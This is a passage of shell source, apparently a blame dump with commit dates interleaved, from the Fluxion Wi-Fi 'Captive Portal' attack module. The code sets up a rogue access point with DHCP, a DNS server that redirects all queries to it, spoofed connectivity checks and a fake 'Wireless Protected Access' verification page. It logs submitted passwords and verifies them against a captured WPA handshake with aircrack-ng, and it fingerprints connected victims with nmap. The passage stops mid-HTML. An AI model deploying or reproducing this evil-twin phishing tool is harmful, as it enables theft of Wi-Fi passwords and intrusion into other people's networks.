cat $FLUXIONWorkspacePath/clients.txt | \
|
|
|
|
grep $IP | awk '{print $5}' | grep : | head -n 1 | \
|
|
|
|
tr [:upper:] [:lower:]
|
|
|
|
)
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ "$(echo $MatchedClientMAC | wc -m)" != "18" ]; then
|
2018-01-17 14:29:05 -07:00
|
|
|
local MatchedClientMAC="xx:xx:xx:xx:xx:xx"
|
2017-12-31 09:02:12 -07:00
|
|
|
fi
|
|
|
|
else
|
2018-01-17 14:29:05 -07:00
|
|
|
local MatchedClientMAC="unknown"
|
2017-12-31 09:02:12 -07:00
|
|
|
fi
|
|
|
|
echo $MatchedClientMAC
|
2017-12-20 07:14:18 -07:00
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_get_MAC_brand() {
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ $(captive_portal_get_IP_MAC) != "" ]; then
|
2018-01-17 14:29:05 -07:00
|
|
|
local MACManufacturer=$( macchanger -l | \
|
|
|
|
grep "$(echo "$(captive_portal_get_IP_MAC)" | cut -d ":" -f -3)" | \
|
|
|
|
cut -d " " -f 5-)
|
2017-12-31 09:02:12 -07:00
|
|
|
if echo "$MACManufacturer" | grep -q x; then
|
2018-01-17 14:29:05 -07:00
|
|
|
local MACManufacturer="unknown"
|
2017-12-31 09:02:12 -07:00
|
|
|
fi
|
|
|
|
else
|
2018-01-17 14:29:05 -07:00
|
|
|
local MACManufacturer="unknown"
|
2017-12-31 09:02:12 -07:00
|
|
|
fi
|
|
|
|
|
|
|
|
echo $MACManufacturer
|
2017-12-20 07:14:18 -07:00
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
|
|
|
|
captive_portal_unset_attack() {
|
|
|
|
sandbox_remove_workfile \
|
|
|
|
"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
|
|
sandbox_remove_workfile \
|
|
|
|
"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py"
|
|
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/lighttpd.conf"
|
|
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/dhcpd.leases"
|
|
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal/check.php"
|
|
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal"
|
|
|
|
|
|
|
|
# Only reset the AP if one has been defined.
|
2018-01-18 00:17:26 -07:00
|
|
|
if [ "$CaptivePortalAPService" -a "$(type -t ap_service_reset)" ]; then
|
|
|
|
ap_service_reset
|
2017-12-31 09:02:12 -07:00
|
|
|
fi
|
2018-01-17 14:29:05 -07:00
|
|
|
}
|
|
|
|
|
|
|
|
# Create different settings required for the script
|
|
|
|
captive_portal_set_attack() {
|
2018-03-13 19:50:28 -06:00
|
|
|
local -r attackPath="$FLUXIONPath/attacks/Captive Portal"
|
|
|
|
# Load and set the captive portal user interface to the workspace.
|
|
|
|
# Check whether it's a custom, generic, or invalid portal.
|
|
|
|
if [ -d "$attackPath/sites/$CaptivePortalUserInterface.portal" ]; then
|
|
|
|
cp -r "$attackPath/sites/$CaptivePortalUserInterface.portal" \
|
|
|
|
"$FLUXIONWorkspacePath/captive_portal"
|
|
|
|
elif [ -f "$attackPath/generic/languages/$CaptivePortalUserInterface.lang" ]; then
|
|
|
|
source "$attackPath/generic/languages/$CaptivePortalUserInterface.lang"
|
|
|
|
captive_portal_generic
|
|
|
|
else
|
|
|
|
return 1
|
|
|
|
fi
|
2018-01-17 14:29:05 -07:00
|
|
|
|
|
|
|
find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec \
|
|
|
|
sed -i -e 's/$APTargetSSID/'"${FluxionTargetSSID//\//\\\/}"'/g; s/$APTargetMAC/'"${FluxionTargetMAC//\//\\\/}"'/g; s/$APTargetChannel/'"${FluxionTargetChannel//\//\\\/}"'/g' {} \;
|
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
|
|
|
|
# Add the PHP authenticator scripts, used to verify
|
|
|
|
# password attempts from users using the web interface.
|
|
|
|
local authenticatorFiles=("authenticator.php" "check.php" "update.php")
|
|
|
|
|
|
|
|
for authenticatorFile in "${authenticatorFiles[@]}"; do
|
|
|
|
cp "$FLUXIONPath/attacks/Captive Portal/lib/$authenticatorFile" \
|
|
|
|
"$FLUXIONWorkspacePath/captive_portal/$authenticatorFile"
|
|
|
|
sed -i -e 's/\$FLUXIONWorkspacePath/'"${FLUXIONWorkspacePath//\//\\\/}"'/g' \
|
|
|
|
"$FLUXIONWorkspacePath/captive_portal/$authenticatorFile"
|
|
|
|
chmod u+x "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile"
|
|
|
|
done
|
|
|
|
|
|
|
|
# Add the files for captive portal internet connectivity checks.
|
|
|
|
cp -r "$FLUXIONPath/attacks/Captive Portal/lib/connectivity responses/" \
|
|
|
|
"$FLUXIONWorkspacePath/captive_portal/connectivity_responses"
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
|
|
|
|
# AP Service: Prepare service for an attack.
|
2018-01-18 00:17:26 -07:00
|
|
|
if [ "$CaptivePortalAPService" ]; then
|
|
|
|
ap_service_prep \
|
2018-01-19 14:53:46 -07:00
|
|
|
"$CaptivePortalAccessPointInterface" \
|
2018-01-18 00:17:26 -07:00
|
|
|
"$CaptivePortalGatewayAddress" \
|
|
|
|
"$FluxionTargetSSID" \
|
|
|
|
"$FluxionTargetRogueMAC" \
|
|
|
|
"$FluxionTargetChannel"
|
|
|
|
|
|
|
|
CaptivePortalAccessInterface=$APServiceAccessInterface
|
2018-01-17 14:29:05 -07:00
|
|
|
fi
|
|
|
|
|
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# Generate the dhcpd configuration file, which is
|
2018-01-18 00:17:26 -07:00
|
|
|
# used to provide DHCP service to rogue AP clients.
|
2017-12-31 09:02:12 -07:00
|
|
|
echo "\
|
2017-08-08 12:48:00 -06:00
|
|
|
authoritative;
|
|
|
|
|
|
|
|
default-lease-time 600;
|
|
|
|
max-lease-time 7200;
|
|
|
|
|
2018-01-18 00:17:26 -07:00
|
|
|
subnet $CaptivePortalGatewayNetwork.0 netmask 255.255.255.0 {
|
|
|
|
option broadcast-address $CaptivePortalGatewayNetwork.255;
|
|
|
|
option routers $CaptivePortalGatewayAddress;
|
2017-08-08 12:48:00 -06:00
|
|
|
option subnet-mask 255.255.255.0;
|
2018-01-18 00:17:26 -07:00
|
|
|
option domain-name-servers $CaptivePortalGatewayAddress;
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2018-01-18 00:17:26 -07:00
|
|
|
range $CaptivePortalGatewayNetwork.100 $CaptivePortalGatewayNetwork.254;
|
2017-08-08 12:48:00 -06:00
|
|
|
}\
|
2017-12-31 09:02:12 -07:00
|
|
|
" >"$FLUXIONWorkspacePath/dhcpd.conf"
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
#create an empty leases file
|
|
|
|
touch "$FLUXIONWorkspacePath/dhcpd.leases"
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# Generate configuration for a lighttpd web-server.
|
|
|
|
echo "\
|
2017-08-08 12:48:00 -06:00
|
|
|
server.document-root = \"$FLUXIONWorkspacePath/captive_portal/\"
|
|
|
|
|
|
|
|
server.modules = (
|
|
|
|
\"mod_access\",
|
|
|
|
\"mod_alias\",
|
|
|
|
\"mod_accesslog\",
|
|
|
|
\"mod_fastcgi\",
|
|
|
|
\"mod_redirect\",
|
|
|
|
\"mod_rewrite\"
|
|
|
|
)
|
|
|
|
|
2017-12-02 02:15:31 -07:00
|
|
|
accesslog.filename = \"$FLUXIONWorkspacePath/lighttpd.log\"
|
|
|
|
|
2017-08-08 12:48:00 -06:00
|
|
|
fastcgi.server = (
|
|
|
|
\".php\" => (
|
|
|
|
(
|
|
|
|
\"bin-path\" => \"/usr/bin/php-cgi\",
|
2018-01-18 00:17:26 -07:00
|
|
|
\"socket\" => \"/tmp/fluxspace/php.socket\"
|
2017-08-08 12:48:00 -06:00
|
|
|
)
|
|
|
|
)
|
|
|
|
)
|
|
|
|
|
|
|
|
server.port = 80
|
|
|
|
server.pid-file = \"/var/run/lighttpd.pid\"
|
|
|
|
# server.username = \"www\"
|
|
|
|
# server.groupname = \"www\"
|
|
|
|
|
|
|
|
mimetype.assign = (
|
|
|
|
\".html\" => \"text/html\",
|
|
|
|
\".htm\" => \"text/html\",
|
|
|
|
\".txt\" => \"text/plain\",
|
|
|
|
\".jpg\" => \"image/jpeg\",
|
|
|
|
\".png\" => \"image/png\",
|
|
|
|
\".css\" => \"text/css\"
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
server.error-handler-404 = \"/\"
|
|
|
|
|
|
|
|
static-file.exclude-extensions = (
|
|
|
|
\".fcgi\",
|
|
|
|
\".php\",
|
|
|
|
\".rb\",
|
|
|
|
\"~\",
|
|
|
|
\".inc\"
|
|
|
|
)
|
|
|
|
|
|
|
|
index-file.names = (
|
|
|
|
\"index.htm\",
|
2017-09-12 08:04:28 -06:00
|
|
|
\"index.html\",
|
|
|
|
\"index.php\"
|
2017-08-08 12:48:00 -06:00
|
|
|
)
|
2017-12-31 09:02:12 -07:00
|
|
|
" >"$FLUXIONWorkspacePath/lighttpd.conf"
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# Configure lighttpd's SSL only if we've got a certificate and its key.
|
|
|
|
if [ -f "$FLUXIONWorkspacePath/server.pem" -a -s "$FLUXIONWorkspacePath/server.pem" ]; then
|
|
|
|
echo "\
|
2017-12-05 20:22:06 -07:00
|
|
|
\$SERVER[\"socket\"] == \":443\" {
|
|
|
|
ssl.engine = \"enable\"
|
|
|
|
ssl.pemfile = \"$FLUXIONWorkspacePath/server.pem\"
|
|
|
|
}
|
2017-12-31 09:02:12 -07:00
|
|
|
" >>"$FLUXIONWorkspacePath/lighttpd.conf"
|
|
|
|
fi
|
2017-12-02 02:15:31 -07:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ "$CaptivePortalConnectivity" = "emulated" ]; then
|
|
|
|
echo "\
|
2017-12-02 02:15:31 -07:00
|
|
|
# The following will emulate Apple's and Google's internet connectivity checks.
|
|
|
|
# This should help with no-internet-connection warnings in some devices.
|
2017-12-06 21:20:22 -07:00
|
|
|
\$HTTP[\"host\"] == \"captive.apple.com\" { # Respond with Apple's captive response.
|
|
|
|
server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Apple/\"
|
|
|
|
}
|
2017-12-02 02:15:31 -07:00
|
|
|
|
2017-12-09 02:49:56 -07:00
|
|
|
# Respond with Google's captive response on certain domains.
|
2017-12-23 11:20:19 -07:00
|
|
|
# Domains: www.google.com, clients[0-9].google.com, connectivitycheck.gstatic.com, connectivitycheck.android.com, android.clients.google.com, alt[0-9]-mtalk.google.com, mtalk.google.com
|
|
|
|
\$HTTP[\"host\"] =~ \"((www|(android\.)?clients[0-9]*|(alt[0-9]*-)?mtalk)\.google|connectivitycheck\.(android|gstatic))\.com\" {
|
2017-12-03 20:55:54 -07:00
|
|
|
server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\"
|
|
|
|
url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" )
|
|
|
|
}
|
2017-12-31 09:02:12 -07:00
|
|
|
" >>"$FLUXIONWorkspacePath/lighttpd.conf"
|
|
|
|
else
|
|
|
|
echo "\
|
2017-12-24 14:05:20 -07:00
|
|
|
# Redirect all traffic to the captive portal when not emulating a connection.
|
|
|
|
\$HTTP[\"host\"] != \"captive.gateway.lan\" {
|
2017-12-24 16:41:16 -07:00
|
|
|
url.redirect-code = 302
|
2017-12-09 01:16:13 -07:00
|
|
|
url.redirect = (
|
|
|
|
\"^/(.*)\" => \"http://captive.gateway.lan/\",
|
|
|
|
)
|
|
|
|
}
|
2017-12-31 09:02:12 -07:00
|
|
|
" >>"$FLUXIONWorkspacePath/lighttpd.conf"
|
|
|
|
fi
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# Create a DNS service with python, forwarding all traffic to gateway.
|
|
|
|
echo "\
|
2018-04-05 02:53:30 -06:00
|
|
|
#!/usr/bin/env python2
|
|
|
|
# -*- coding: utf-8 -*-
|
|
|
|
|
2017-08-08 12:48:00 -06:00
|
|
|
import socket
|
|
|
|
|
2018-04-05 02:53:30 -06:00
|
|
|
|
2017-08-08 12:48:00 -06:00
|
|
|
class DNSQuery:
|
2018-04-05 02:53:30 -06:00
|
|
|
def __init__(self, data):
|
|
|
|
self.data=data
|
|
|
|
self.dominio=''
|
|
|
|
|
|
|
|
tipo = (ord(data[2]) >> 3) & 15
|
|
|
|
if tipo == 0:
|
|
|
|
ini=12
|
|
|
|
lon=ord(data[ini])
|
|
|
|
while lon != 0:
|
|
|
|
self.dominio+=data[ini + 1:ini + lon + 1] + '.'
|
|
|
|
ini += lon + 1
|
|
|
|
lon=ord(data[ini])
|
|
|
|
|
|
|
|
def respuesta(self, ip):
|
|
|
|
packet=''
|
|
|
|
if self.dominio:
|
|
|
|
packet+=self.data[:2] + '\x81\x80'
|
|
|
|
packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'
|
|
|
|
packet+=self.data[12:]
|
|
|
|
packet+='\xc0\x0c'
|
|
|
|
packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04'
|
|
|
|
packet+=str.join('', map(lambda x: chr(int(x)), ip.split('.')))
|
|
|
|
return packet
|
|
|
|
|
2017-08-08 12:48:00 -06:00
|
|
|
|
|
|
|
if __name__ == '__main__':
|
2018-04-05 02:53:30 -06:00
|
|
|
ip='$CaptivePortalGatewayAddress'
|
|
|
|
print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip
|
|
|
|
|
|
|
|
udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
|
|
udps.bind((ip, 53))
|
|
|
|
|
|
|
|
try:
|
|
|
|
while True:
|
|
|
|
data, addr = udps.recvfrom(1024)
|
|
|
|
p=DNSQuery(data)
|
|
|
|
udps.sendto(p.respuesta(ip), addr)
|
|
|
|
print 'Request: %s -> %s' % (p.dominio, ip)
|
|
|
|
except KeyboardInterrupt:
|
|
|
|
print 'Finalizando'
|
2017-08-08 12:48:00 -06:00
|
|
|
udps.close()\
|
2017-12-31 09:02:12 -07:00
|
|
|
" >"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py"
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
chmod +x "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py"
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
local -r targetSSIDCleanNormalized=${FluxionTargetSSIDClean//"/\\"}
|
2017-12-31 09:02:12 -07:00
|
|
|
# Attack arbiter script
|
|
|
|
echo "\
|
2017-08-08 12:48:00 -06:00
|
|
|
#!/bin/bash
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
signal_stop_attack() {
|
2017-08-08 12:48:00 -06:00
|
|
|
kill -s SIGABRT $$ # Signal STOP ATTACK
|
2017-08-18 10:12:38 -06:00
|
|
|
handle_abort_authenticator
|
2017-08-08 12:48:00 -06:00
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
handle_abort_authenticator() {
|
2017-08-08 12:48:00 -06:00
|
|
|
AuthenticatorState=\"aborted\"
|
|
|
|
}
|
|
|
|
|
|
|
|
trap signal_stop_attack SIGINT SIGHUP
|
|
|
|
trap handle_abort_authenticator SIGABRT
|
|
|
|
|
2017-08-09 18:31:32 -06:00
|
|
|
echo > \"$FLUXIONWorkspacePath/candidate.txt\"
|
|
|
|
echo -n \"0\"> \"$FLUXIONWorkspacePath/hit.txt\"
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-22 16:14:57 -07:00
|
|
|
# Assure we've got a directory to store net logs into.
|
|
|
|
if [ ! -d \"$CaptivePortalNetLog\" ]; then
|
|
|
|
mkdir -p \"$CaptivePortalNetLog\"
|
|
|
|
fi
|
|
|
|
|
|
|
|
# Assure we've got a directory to store pwd logs into.
|
|
|
|
if [ ! -d \"$CaptivePortalPassLog\" ]; then
|
|
|
|
mkdir -p \"$CaptivePortalPassLog\"
|
|
|
|
fi
|
|
|
|
|
2017-12-01 15:05:55 -07:00
|
|
|
# Make console cursor invisible, cnorm to revert.
|
2017-08-08 12:48:00 -06:00
|
|
|
tput civis
|
|
|
|
clear
|
|
|
|
|
|
|
|
m=0
|
|
|
|
h=0
|
|
|
|
s=0
|
|
|
|
i=0
|
|
|
|
|
|
|
|
AuthenticatorState=\"running\"
|
|
|
|
|
|
|
|
startTime=\$(date +%s)
|
|
|
|
|
|
|
|
while [ \$AuthenticatorState = \"running\" ]; do
|
|
|
|
let s=\$(date +%s)-\$startTime
|
|
|
|
|
|
|
|
d=\`expr \$s / 86400\`
|
|
|
|
s=\`expr \$s % 86400\`
|
|
|
|
h=\`expr \$s / 3600\`
|
|
|
|
s=\`expr \$s % 3600\`
|
|
|
|
m=\`expr \$s / 60\`
|
|
|
|
s=\`expr \$s % 60\`
|
|
|
|
|
|
|
|
if [ \"\$s\" -le 9 ]; then
|
|
|
|
is=\"0\"
|
|
|
|
else
|
|
|
|
is=
|
|
|
|
fi
|
|
|
|
|
|
|
|
if [ \"\$m\" -le 9 ]; then
|
|
|
|
im=\"0\"
|
|
|
|
else
|
|
|
|
im=
|
|
|
|
fi
|
|
|
|
|
|
|
|
if [ \"\$h\" -le 9 ]; then
|
|
|
|
ih=\"0\"
|
|
|
|
else
|
|
|
|
ih=
|
|
|
|
fi
|
|
|
|
|
2017-08-09 18:31:32 -06:00
|
|
|
if [ -f \"$FLUXIONWorkspacePath/pwdattempt.txt\" -a -s \"$FLUXIONWorkspacePath/pwdattempt.txt\" ]; then
|
2017-08-08 12:48:00 -06:00
|
|
|
# Save any new password attempt.
|
2018-01-17 14:29:05 -07:00
|
|
|
cat \"$FLUXIONWorkspacePath/pwdattempt.txt\" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log\"
|
2017-08-08 12:48:00 -06:00
|
|
|
|
|
|
|
# Clear logged password attempt.
|
2017-08-09 18:31:32 -06:00
|
|
|
echo -n > \"$FLUXIONWorkspacePath/pwdattempt.txt\"
|
2017-08-08 12:48:00 -06:00
|
|
|
fi
|
2017-12-22 05:57:15 -07:00
|
|
|
|
|
|
|
if [ -f \"$FLUXIONWorkspacePath/ip_hits\" -a -s \"$FLUXIONWorkspacePath/ip_hits.txt\" ]; then
|
2018-01-17 14:29:05 -07:00
|
|
|
cat \"$FLUXIONWorkspacePath/ip_hits\" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC-IP.log\"
|
|
|
|
echo \" \" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC-IP.log\"
|
2017-12-22 05:57:15 -07:00
|
|
|
echo -n > \"$FLUXIONWorkspacePath/ip_hits\"
|
|
|
|
fi
|
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
if [ $CaptivePortalAuthenticatorMode = "hash" ]; then
|
2017-12-31 09:02:12 -07:00
|
|
|
echo "
|
2017-08-09 18:31:32 -06:00
|
|
|
if [ -f \"$FLUXIONWorkspacePath/candidate_result.txt\" ]; then
|
2017-08-08 12:48:00 -06:00
|
|
|
# Check if we've got the correct password by looking for anything other than \"Passphrase not in\".
|
2018-03-15 13:18:06 -06:00
|
|
|
if ! aircrack-ng -b $FluxionTargetMAC -w \"$FLUXIONWorkspacePath/candidate.txt\" \"$CaptivePortalHashPath\" | grep -qi \"Passphrase not in\"; then
|
2017-12-12 14:24:52 -07:00
|
|
|
echo \"2\" > \"$FLUXIONWorkspacePath/candidate_result.txt\"
|
|
|
|
|
|
|
|
sleep 1
|
2017-08-08 12:48:00 -06:00
|
|
|
break
|
2017-12-12 14:24:52 -07:00
|
|
|
|
2017-08-08 12:48:00 -06:00
|
|
|
else
|
2017-08-09 18:31:32 -06:00
|
|
|
echo \"1\" > \"$FLUXIONWorkspacePath/candidate_result.txt\"
|
2017-12-14 06:07:43 -07:00
|
|
|
|
2017-08-08 12:48:00 -06:00
|
|
|
fi
|
2017-12-31 09:02:12 -07:00
|
|
|
fi" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
|
|
fi
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
local -r staticSSID=$(printf "%q" "$FluxionTargetSSID" | sed -r 's/\\\ / /g' | sed -r "s/\\\'/\'/g")
|
2017-12-31 09:02:12 -07:00
|
|
|
echo "
|
2018-04-21 12:25:52 -06:00
|
|
|
readarray -t DHCPClients < <(nmap -PR -sn -n -oG - $CaptivePortalGatewayNetwork.100-110 2>&1 | grep Host)
|
2017-08-08 12:48:00 -06:00
|
|
|
|
|
|
|
echo
|
|
|
|
echo -e \" ACCESS POINT:\"
|
2017-12-22 00:40:06 -07:00
|
|
|
printf \" SSID ...........: $CWht%s$CClr\\n\" \"$staticSSID\"
|
2018-01-17 14:29:05 -07:00
|
|
|
echo -e \" MAC ............: $CYel$FluxionTargetMAC$CClr\"
|
|
|
|
echo -e \" Channel ........: $CWht$FluxionTargetChannel$CClr\"
|
|
|
|
echo -e \" Vendor .........: $CGrn${FluxionTargetMaker:-UNKNOWN}$CClr\"
|
2017-08-20 13:04:22 -06:00
|
|
|
echo -e \" Runtime ........: $CBlu\$ih\$h:\$im\$m:\$is\$s$CClr\"
|
|
|
|
echo -e \" Attempts .......: $CRed\$(cat $FLUXIONWorkspacePath/hit.txt)$CClr\"
|
|
|
|
echo -e \" Clients ........: $CBlu\$(cat $FLUXIONWorkspacePath/clients.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)$CClr\"
|
2017-08-08 12:48:00 -06:00
|
|
|
echo
|
|
|
|
echo -e \" CLIENTS ONLINE:\"
|
|
|
|
|
|
|
|
x=0
|
|
|
|
for client in \"\${DHCPClients[@]}\"; do
|
|
|
|
x=\$((\$x+1))
|
|
|
|
|
|
|
|
ClientIP=\$(echo \$client| cut -d \" \" -f2)
|
|
|
|
ClientMAC=\$(nmap -PR -sn -n \$ClientIP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:])
|
|
|
|
|
|
|
|
if [ \"\$(echo \$ClientMAC| wc -m)\" != \"18\" ]; then
|
|
|
|
ClientMAC=\"xx:xx:xx:xx:xx:xx\"
|
|
|
|
fi
|
|
|
|
|
|
|
|
ClientMID=\$(macchanger -l | grep \"\$(echo \"\$ClientMAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-)
|
|
|
|
|
|
|
|
if echo \$ClientMAC| grep -q x; then
|
|
|
|
ClientMID=\"unknown\"
|
|
|
|
fi
|
|
|
|
|
2017-08-09 18:31:32 -06:00
|
|
|
ClientHostname=\$(grep \$ClientIP \"$FLUXIONWorkspacePath/clients.txt\" | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}')
|
2017-08-08 12:48:00 -06:00
|
|
|
|
|
|
|
echo -e \" $CGrn \$x) $CRed\$ClientIP $CYel\$ClientMAC $CClr($CBlu\$ClientMID$CClr) $CGrn \$ClientHostname$CClr\"
|
|
|
|
done
|
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -ne \"\033[K\033[u\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
if [ $CaptivePortalAuthenticatorMode = "hash" ]; then
|
2017-12-31 09:02:12 -07:00
|
|
|
echo "
|
|
|
|
sleep 1" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
|
|
fi
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo "
|
2017-08-08 12:48:00 -06:00
|
|
|
done
|
|
|
|
|
|
|
|
if [ \$AuthenticatorState = \"aborted\" ]; then exit 1; fi
|
|
|
|
|
|
|
|
clear
|
2017-08-09 18:31:32 -06:00
|
|
|
echo \"1\" > \"$FLUXIONWorkspacePath/status.txt\"
|
2017-08-08 12:48:00 -06:00
|
|
|
|
|
|
|
# sleep 7
|
|
|
|
sleep 3
|
|
|
|
|
|
|
|
signal_stop_attack
|
|
|
|
|
|
|
|
echo \"
|
2017-12-22 00:40:06 -07:00
|
|
|
FLUXION $FLUXIONVersion.$FLUXIONRevision
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-22 00:40:06 -07:00
|
|
|
SSID: \\\"$staticSSID\\\"
|
2018-01-17 14:29:05 -07:00
|
|
|
BSSID: $FluxionTargetMAC ($FluxionTargetMaker)
|
|
|
|
Channel: $FluxionTargetChannel
|
|
|
|
Security: $FluxionTargetEncryption
|
2017-08-08 12:48:00 -06:00
|
|
|
Time: \$ih\$h:\$im\$m:\$is\$s
|
|
|
|
Password: \$(cat $FLUXIONWorkspacePath/candidate.txt)
|
2017-12-22 05:57:15 -07:00
|
|
|
Mac: $(captive_portal_get_IP_MAC) ($(captive_portal_get_MAC_brand))
|
2017-12-20 16:21:39 -07:00
|
|
|
IP: $(captive_portal_get_client_IP)
|
2018-01-17 14:29:05 -07:00
|
|
|
\" >\"$CaptivePortalNetLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
if [ $CaptivePortalAuthenticatorMode = "hash" ]; then
|
2017-12-31 09:02:12 -07:00
|
|
|
echo "
|
2018-01-17 14:29:05 -07:00
|
|
|
aircrack-ng -a 2 -b $FluxionTargetMAC -0 -s \"$CaptivePortalHashPath\" -w \"$FLUXIONWorkspacePath/candidate.txt\" && echo && echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log"$CClr"\"\
|
2017-12-31 09:02:12 -07:00
|
|
|
" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
|
|
fi
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
chmod +x "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
2017-08-08 12:48:00 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
# Generate the contents for a generic web interface
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_generic() {
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ ! -d "$FLUXIONWorkspacePath/captive_portal" ]; then
|
|
|
|
mkdir "$FLUXIONWorkspacePath/captive_portal"
|
|
|
|
fi
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
base64 -d "$FLUXIONPath/attacks/Captive Portal/generic/assets" >"$FLUXIONWorkspacePath/file.zip"
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
unzip "$FLUXIONWorkspacePath/file.zip" -d "$FLUXIONWorkspacePath/captive_portal" &>$FLUXIONOutputDevice
|
|
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/file.zip"
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo "\
|
2017-08-08 12:48:00 -06:00
|
|
|
<!DOCTYPE html>
|
|
|
|
<html>
|
|
|
|
<head>
|
|
|
|
<meta charset=\"UTF-8\">
|
|
|
|
<meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\">
|
|
|
|
|
|
|
|
<title>Wireless Protected Access: Verifying</title>
|
|
|
|
|
|
|
|
<!-- Styles -->
|
|
|
|
<link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/>
|
|
|
|
<link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/>
|
|
|
|
|
|
|
|
<!-- Scripts -->
|
|
|
|
<script src=\"js/jquery-1.11.1.min.js\"></script>
|
|
|
|
<script src=\"js/jquery.mobile-1.4.5.min.js\"></script>
|
|
|
|
</head>
|
|
|
|
<body>
|
|
|
|
<!-- final page -->
|
|
|
|
<div id=\"done\" data-role=\"page\" data-theme=\"a\">
|
|
|
|
<div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\">
|
|
|
|
<h3 style=\"text-align:center;\">$DIALOG_WEB_OK</h3>
|
|
|
|
</div>
|
|
|
|
</div>
|
|
|
|
</body>
|
2017-12-31 09:02:12 -07:00
|
|
|
</html>" >"$FLUXIONWorkspacePath/captive_portal/final.html"
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo "\
|
2017-08-08 12:48:00 -06:00
|
|
|
<!DOCTYPE html>
|
|
|
|
<html>
|
|
|
|
<head>
|
|
|
|
<meta charset=\"UTF-8\">
|
|
|
|
<meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\">
|
|
|
|
|
|
|
|
